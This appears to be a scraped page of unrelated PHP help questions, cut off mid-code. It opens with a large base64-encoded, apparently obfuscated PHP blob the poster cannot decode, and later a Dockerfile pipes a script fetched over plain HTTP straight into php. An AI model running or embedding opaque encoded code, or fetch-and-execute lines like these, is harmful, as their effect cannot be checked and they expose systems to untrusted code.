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"));?>

i try to decrypt with unphp.net but the output still random char

How to check a login session from another website?

I want to check login status from another domain.
All 4 Wensites are on the same hosting. Each have another domainnsme. There are 3 WordPress Websites and 1 CodeIgniter 4 Website. In CodeIgniter i have n Authentication with Shield.
In the Frontend of each WordPress Site i want to check if the user is loggedin in CodeIgniter or not. I dont want a login in WordPress.

I tried with wp_remote_get but i always get a new session. And always get status not logged in although i logged in when access directly.
I tried with Shield and JWT but i dont know how to pass a token from CodeIgniter to all 3 WordPress Pages and then how the system knows which user is which token.

How to store e-mails with PHP

I’m developing a PHP program to save all the emails received on an IMAP server. 
I plan to divide the emails into three parts: header, body, and attachments. 
Headers will be saved in a database like MySQL, attachments will be saved as text files, associated with the header’s Message-ID.
However, I’m unsure about the best way to handle the body. 
I’m also considering implementing a mechanism to search through the email body, which makes it a bit tricky. 

  • Storing directly in an RDB like MySQL:
    Isn’t it unsuitable to save large-sized data?
  • Saving as a txt file:
    Considering full-text search, it seems inefficient.

There have been similar past. But they were answered several years ago, I’m posting this with the belief that there may be new technologies available.

I’d appreciate any good ideas or suggestions you might have.

PHP Project is so slow into docker windows11

i’m very new to docker.
So i have this docker-compose.yaml

version: '3.8'
services:
  php-apache-environment:
    container_name: php-apache
    #image: php:8.0-apache
    build:
      #context: ./php
      dockerfile: Dockerfile
    depends_on:
      - db 
    volumes:
      - ./php/src:/var/www/html/ --> i think the problem is here
    ports:
      - 8000:80

  db:
    container_name: db
    image: mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: root
    ports:
      - "9906:3306"    

  phpmyadmin:
    image: phpmyadmin
    restart: always
    ports:
      - 8080:80 

And this dockerFile

FROM php:8.0-apache
RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli

RUN php -r "readfile('http://getcomposer.org/installer');" | php -- --install-dir=/usr/bin/ --filename=composer

RUN apt-get update && apt-get -y --no-install-recommends install git 
    && php -r "readfile('http://getcomposer.org/installer');" | php -- --install-dir=/usr/bin/ --filename=composer 
    && rm -rf /var/lib/apt/lists/*

RUN docker-php-ext-install pdo pdo_mysql   

# Install required dependency
RUN apt-get update && apt-get install -y 
    zip 
    libxml2-dev 
    libzip-dev

# Configure and install gd extension
RUN apt-get update && apt-get install -y 
    libfreetype6-dev 
    libjpeg62-turbo-dev 
    libpng-dev 
  && docker-php-ext-configure gd --with-freetype --with-jpeg 
  && docker-php-ext-install -j$(nproc) gd

# Install Postgre PDO
RUN apt-get install -y libpq-dev 
    && docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql 
    && docker-php-ext-install pdo pdo_pgsql pgsql
    
# Install zip and zml
RUN docker-php-ext-install zip xml

# Enable mod_rewrite for images with apache
RUN if command -v a2enmod >/dev/null 2>&1; then 
        a2enmod rewrite headers 
    ;fi

#Memcached Installation
RUN apt-get update && apt-get install -y libz-dev libmemcached-dev && rm -r /var/lib/apt/lists/*
RUN pecl install memcached
RUN echo extension=memcached.so >> /usr/local/etc/php/conf.d/memcached.ini

It works but my php project is very slow.
I use docker desktop on windows 11 and, after some reading i think the problem is in this line of code

volumes:
          - ./php/src:/var/www/html/ --> i think the problem is here

Because this create my project into a windows folder (eg: project/php/src/[folder with project files])

How i can solve? How i can move my project into WSL folder?

translate a specific element

How can I translate a specific element into Farsi?

<div id="new">hello</div>
<div id="new">سلام</div>

The content in that element is variable, meaning it may change.
I want all the content in it to be translated into Farsi.
Thank you.

Getting “File name too long” error on php wordpress site

I have a wordpress website running on the server. Previously, everything was working fine but from last two days I am getting weird errors in apache2 logs as you can see below:
Access Logs

[23/Feb/2024:10:39:33 +0000] "GET /index.php-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined/each/poduct_id=4&ku=br1qpjdda92fwfm7ums.rifling HTTP/1.1" 403 286 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" "17.211.217.110"

Error Logs

[Fri Feb 23 10:42:07.266182 2024] [core:error] [pid 7961] (36)File name too long: [client 172.11.16.23:2958] AH00036: access to /index.php-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined/each/poduct_id=088&ku=br31cygyr22f22/5s.transpirable failed (filesystem path '/var/www/html/index.php-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined-undefined')

I have no clue how to handle this and what’s the reason for that weird url hit

Can’t delete images from folder with PHP using Unlink function

I am trying to execute a php process file, in a folder where there’s this php file and other files (can be images, text document, pdf, other code files, etc.)

I need to generate a process where detects main image formats and deletes it automatically.

I have this code:

$dirPath = '.';
$files = scandir($dirPath);  
foreach ($files as $file) {
    $filePath = $dirPath . '/' . $file;
    if (is_file($filePath)) {
        //echo $file . "<br>";
        $file_parts = explode(".", $file);
        $file_extension = $file_parts[1];
        
        $image_extensions = array( "jpg", "png", "jpeg", "tiff", "webm", "jpeg", "gif" );
        
        echo "<br />Found this file: ".$file;
        foreach($image_extensions as $i_e){
            if (strcmp($file_extension, strval($i_e)) === 0) {
                chmod ($file, 0777);
                unlink($file);
                echo 'Deleted for being an image.';
            }
        }

    }
}

But never deletes it. Files have a permissions level of 0644.
Is this a problem? Can I change permissions?
Could be another reason.

All files are in the same folder.
Why files isn’t being deleted?

Thanks in advance.

I was trying to delete all images in a folder and isn’t working.

Zelle payment method integration in laravel

does anyone knows how can we implement zelle payment method in laravel.
does zelle provide any api reference or uptill now we can integrate it?

i am trying to find refernces to implement it in my project but couldnt find it

Not able to draw bubble chart with PhpSpreadsheet

Trying to draw simple bubble chart with PhpSpreadsheet but got only the data without the chart. Here is my code:

    use PhpOfficePhpSpreadsheetSpreadsheet;
    use PhpOfficePhpSpreadsheetWriterXlsx;
    use PhpOfficePhpSpreadsheetChartChart as ExcelChart;
    use PhpOfficePhpSpreadsheetChartDataSeries;
    use PhpOfficePhpSpreadsheetChartDataSeriesValues;
    use PhpOfficePhpSpreadsheetChartLayout;
    use PhpOfficePhpSpreadsheetChartPlotArea;
    
    $spreadsheet = new Spreadsheet();
    $sheet = $spreadsheet->getActiveSheet();
    $sheet->setCellValue('A1', 'Category');
    $sheet->setCellValue('B1', 'Value 1');
    $sheet->setCellValue('C1', 'Value 2');
